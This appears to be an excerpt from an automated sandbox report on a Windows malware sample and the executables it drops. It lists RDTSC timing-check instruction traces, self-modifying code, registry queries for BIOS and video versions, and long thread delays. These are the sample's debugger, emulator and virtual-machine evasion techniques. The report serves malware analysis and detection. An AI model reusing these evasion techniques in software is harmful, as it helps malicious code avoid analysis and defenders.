Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED89E0 second address: ED89E6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED89E6 second address: ED8A1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b push eax 0x0000000c pop eax 0x0000000d jmp 00007F8C2504F397h 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 push edx 0x00000015 pop edx 0x00000016 popad 0x00000017 push eax 0x00000018 jmp 00007F8C2504F38Dh 0x0000001d pop eax 0x0000001e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: ED8A1E second address: ED8A4F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8C24FD04CCh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pushad 0x0000000b popad 0x0000000c jmp 00007F8C24FD04D3h 0x00000011 popad 0x00000012 js 00007F8C24FD04CEh 0x00000018 pushad 0x00000019 popad 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE64D1 second address: EE64D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE64D5 second address: EE64DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE64DB second address: EE64E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 pop esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE64E7 second address: EE653F instructions: 0x00000000 rdtsc 0x00000002 jg 00007F8C24FD04CAh 0x00000008 jc 00007F8C24FD04F5h 0x0000000e jmp 00007F8C24FD04D9h 0x00000013 jmp 00007F8C24FD04D6h 0x00000018 pop edx 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c jp 00007F8C24FD04CAh 0x00000022 pushad 0x00000023 jnp 00007F8C24FD04C6h 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE653F second address: EE654C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jg 00007F8C2504F386h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE619C second address: EE61A2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE61A2 second address: EE61CE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F393h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F8C2504F38Bh 0x00000012 push eax 0x00000013 push edx 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE61CE second address: EE61D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE61D2 second address: EE61D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE61D6 second address: EE61DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE61DC second address: EE61E3 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE61E3 second address: EE61EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE61EC second address: EE61F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE89C6 second address: EE89D1 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE89D1 second address: EE89D7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE89D7 second address: EE89E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE89E2 second address: EE89E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EE89E8 second address: EE89EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EEF47A second address: EEF486 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop ecx 0x00000007 push eax 0x00000008 push edx 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EEF486 second address: EEF4BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C24FD04CDh 0x00000009 pop ebx 0x0000000a pushad 0x0000000b jmp 00007F8C24FD04D8h 0x00000010 jmp 00007F8C24FD04CBh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EEF4BE second address: EEF4C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EEF4C3 second address: EEF4C8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EFF5B2 second address: EFF5B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EFF6F4 second address: EFF6FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EFF6FA second address: EFF6FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: EFFA28 second address: EFFA2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F005B2 second address: F005D1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F390h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jne 00007F8C2504F386h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F0504D second address: F05051 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F04D46 second address: F04D52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F8C2504F386h 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F0D9BC second address: F0D9C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F1307E second address: F1309B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F397h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F229A2 second address: F229B6 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8C24FD04C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jbe 00007F8C24FD04C6h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F229B6 second address: F229BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F313C9 second address: F313E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8C24FD04D8h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31588 second address: F3159F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007F8C2504F390h 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F3171B second address: F31741 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04D8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jp 00007F8C24FD04CEh 0x0000000f push edi 0x00000010 pop edi 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31741 second address: F31745 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31A6B second address: F31A71 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31A71 second address: F31A7D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a push edx 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31A7D second address: F31A81 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31A81 second address: F31A87 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31A87 second address: F31A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F8C24FD04D1h 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31CFD second address: F31D06 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31D06 second address: F31D1B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a pushad 0x0000000b jc 00007F8C24FD04C6h 0x00000011 push edi 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31D1B second address: F31D2A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F8C2504F386h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31E4D second address: F31E51 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31E51 second address: F31E59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31E59 second address: F31E5E instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F31FA8 second address: F31FAC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F3655F second address: F3656D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 popad 0x00000007 popad 0x00000008 push eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F3656D second address: F36581 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F365EB second address: F36602 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C24FD04D3h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F367E6 second address: F367EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F368D3 second address: F368E8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C24FD04CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F368E8 second address: F3693A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 popad 0x00000006 push eax 0x00000007 jns 00007F8C2504F390h 0x0000000d mov eax, dword ptr [esp+04h] 0x00000011 jnl 00007F8C2504F399h 0x00000017 mov eax, dword ptr [eax] 0x00000019 jns 00007F8C2504F38Eh 0x0000001f mov dword ptr [esp+04h], eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jl 00007F8C2504F388h 0x0000002b pushad 0x0000002c popad 0x0000002d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F3693A second address: F3693F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F37E85 second address: F37EBF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Ah 0x00000007 jl 00007F8C2504F397h 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007F8C2504F38Fh 0x00000014 pop edx 0x00000015 pop eax 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F8C2504F393h 0x0000001d rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: F37EBF second address: F37ED1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F8C24FD04CCh 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: 53203E1 second address: 53203F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8C2504F38Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: 532049F second address: 53204AA instructions: 0x00000000 rdtsc 0x00000002 mov dx, 099Eh 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	RDTSC instruction interceptor: First address: 53204AA second address: 53204F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 xchg eax, ebp 0x00000007 pushad 0x00000008 mov bx, E750h 0x0000000c push ebx 0x0000000d mov dx, ax 0x00000010 pop ecx 0x00000011 popad 0x00000012 mov ebp, esp 0x00000014 pushad 0x00000015 push edi 0x00000016 pushfd 0x00000017 jmp 00007F8C2504F398h 0x0000001c sbb eax, 698F22C8h 0x00000022 jmp 00007F8C2504F38Bh 0x00000027 popfd 0x00000028 pop eax 0x00000029 push eax 0x0000002a push edx 0x0000002b mov dx, 886Ah 0x0000002f rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Special instruction interceptor: First address: CA3C68 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Special instruction interceptor: First address: CA3D34 instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Special instruction interceptor: First address: E5EBEB instructions caused by: Self-modifying code
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Special instruction interceptor: First address: EDEA13 instructions caused by: Self-modifying code

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory allocated: 1850000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory allocated: 3260000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Memory allocated: 1900000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Memory allocated: 1130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Memory allocated: 2D70000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Memory allocated: 1130000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Memory allocated: 1150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Memory allocated: 2E50000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\yh8OwfLgsaGOEy8sLU5UpJIK.exe	Memory allocated: 12D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Memory allocated: 1770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Memory allocated: 3210000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\8LEi0YA5qqlYpHd7zimCU8lz.exe	Memory allocated: 30D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory allocated: 770000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory allocated: 22B0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Memory allocated: 21F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory allocated: 2180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory allocated: 2440000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Memory allocated: 2180000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory allocated: 15D0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory allocated: 33E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Memory allocated: 31E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory allocated: 12A0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory allocated: 2CC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Memory allocated: 2BC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1110000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2D50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2B50000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 25B0000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2730000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 4730000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 1B60000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 3800000 memory reserve \| memory write watch
Source: C:\ProgramData\jewkkwnf\jewkkwnf.exe	Memory allocated: 1D90000 memory reserve \| memory write watch

Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\Documents\iofolko5\lenTsqDIajevXTuJaJ03oKGb.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\Desktop\gobEmOm5sr.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\REaoHTwA9AqN_cDvubi9mxZt.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\7wpHB_IZvVwIDf0EgO_TfPH6.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\QUh1lM2wAJwuyCkYckhrDFwz.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\2Umx78uafM0WA03fzJyYYhBa.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Documents\iofolko5\1YtOZF0EeqgcR_ddwAXkTcuY.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
